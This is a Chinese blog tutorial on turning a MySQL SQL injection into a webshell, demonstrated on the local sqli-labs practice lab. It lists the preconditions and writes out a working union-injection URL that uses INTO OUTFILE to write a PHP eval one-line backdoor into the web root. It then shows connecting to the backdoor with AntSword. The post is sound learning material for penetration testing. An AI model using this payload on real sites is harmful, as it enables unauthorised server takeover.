• 渗透测试——通过SQL注入拿到webshell


    作者名:Demo不是emo 

    主页面链接:主页传送门
    创作初心:舞台再大,你不上台,永远是观众,没人会关心你努不努力,摔的痛不痛,他们只会看你最后站在什么位置,然后羡慕或鄙夷
    座右铭:不要让时代的悲哀成为你的悲哀
    专研方向:网络安全,数据结构

    每日emo:纵是告别,依旧意难平

     今天参加远程面试的时候面试官问了这样一个题:“你知道哪些通过注入漏洞获取服务器权限的方法?请详细讲讲,”这我直接愣住了,平时渗透中sql注入我一般用来获取数据库的数据信息,虽然在我记忆中我曾经学过通过注入漏洞获取服务器权限的方法,但已经忘得差不多了,所以今天写一篇博客来巩固一下这方面的知识,希望对您们也有帮助

    目录

    一:前提条件

    (1)当前sql注入用户必须为DBA权限

    (2)知道网站的绝对路径

    (3)My.ini文件中的secure_file_priv为空 

    二:原理讲解

    三:实际操作 

    1.通过sql注入漏洞写入文件到指定位置 

     2.使用webshell管理工具连接


    一:前提条件

    想要通过sql注入获取对方服务器权限,需要满足以下条件

    (1)当前sql注入用户必须为DBA权限

    --is-dba参数的值为true

    很多小伙伴又会问道,那dba权限是什么呢?

    DBA权限就其实是数据库的超级管理员权限

    只有dba才能创建数据库结构

    注意:一般数据库的dba权限都为root

    (2)知道网站的绝对路径

    知道网站的绝对路径主要是方便我们上传木马文件

    不知道怎样找网站的绝对路径的也可以看看我的教程

    文章链接http://t.csdn.cn/Hmnfy

    (3)My.ini文件中的secure_file_priv为空 

    如下, 意思就是不限制数据的导入和导出操作

    即能够上传木马文件 

    二:原理讲解

     先简单给大家介绍一下流程

    1.目标存在sql注入漏洞,且已经获取目标的绝对路径

    2.并且通过探测发现目标能够进行数据的导入和导出操作,即secure_file_priv为空

    3.当前数据库是最高权限(即dba权限)

    4.利用Into outfile()   (写入文件的函数),向指定路径写入一句话木马

    5.webshell连接工具连接一句话木马,成功获得权限

    三:实际操作 

    这里我们用大家熟知的sqli-labs靶场来给大家演示,如下

    模拟环境:

    1.已经知道目标存在sql注入,类型为union注入

    2.通过各种方法已经获取到目标的绝对路径,为

    D:\phpStudy\PHPTutorial\WWW\targetrange\sqli-labs-master\Less-1

    3.通过sql注入获取用户名判断出是root用户,即dba权限 

    页面如下

    http://127.0.0.1/targetrange/sqli-labs-master/Less-1/?id=1

    1.通过sql注入漏洞写入文件到指定位置 

    代码如下: 

    1. http://127.0.0.1/targetrange/sqli-labs-master/Less-1/?id=-1' union select 1,'<?php @eval($_POST['cmd']);?>',3 into outfile 'D:\phpStudy\PHPTutorial\WWW\targetrange\sqli-labs-master\Less-1/ab.php' %23

     下面跟大家详细介绍一下这个命令的详细功能

    1. http://127.0.0.1/targetrange/sqli-labs-master/Less-1/?id=-1' union select 1,'<?php @eval($_POST["cmd"]);?>',3 into outfile 'D:/phpStudy/PHPTutorial/WWW/targetrange/sqli-labs-master/Less-1/ab.php' %23
    2. select 1,'<?php @eval($_POST["cmd"]);?>',3
    3. 指定数据
    4. into outfile 'D:/phpStudy/PHPTutorial/WWW/targetrange/sqli-labs-master/Less-1/ab.php' %23
    5. 将数据写入目标文件目录的ab.php文件

    因为是靶场,所以我们可以先看看指定目录下的文件

    可以看到里面只有一个php文件和txt文件,我们执行上面的命令,如下

     没有出现报错,说明已经成功写入了,再次查看该位置下的文件,如下

     可以确定,一句话木马已经被成功写入

     2.使用webshell管理工具连接

    因为我平时用蚁剑比较多,这里就给大家用蚁剑演示了,首先打开蚁剑添加数据,输入我们刚才写入的文件的路径 ,密码为cmd

     再点击添加数据,页面如下

     可以看到已经成功获取了webshell,到这里就成功通过sqk注入拿到webshel了

    重新测试了一遍发现其实还是挺简单的,只是平时获取webshell都老想着找文件上传漏洞去了,所以说大家还是得记住sql注入也是可以拿到webshell的哦,只是利用条件比较苛刻,最后,感谢大家的阅读,respect! 

  • 相关阅读:
    Ubuntu20.04上安装ssmtp通过SMTP方式发送邮件
    电源车3d虚拟元宇宙展厅方便用户随时看车买车
    孤儿进程,守护进程,僵尸进程
    Python异常
    【资损】业务产品分析资损防控规范
    动手写prometheus的exporter-04-Summary(摘要)
    Alibaba内部首发“面试百宝书+超全算法面试手册”PDF版下载
    什么是自动做市商?
    【校招VIP】前端专业课之七层模型
    2023 年最佳开源软件
  • 原文地址:https://blog.csdn.net/qq_63844103/article/details/127950411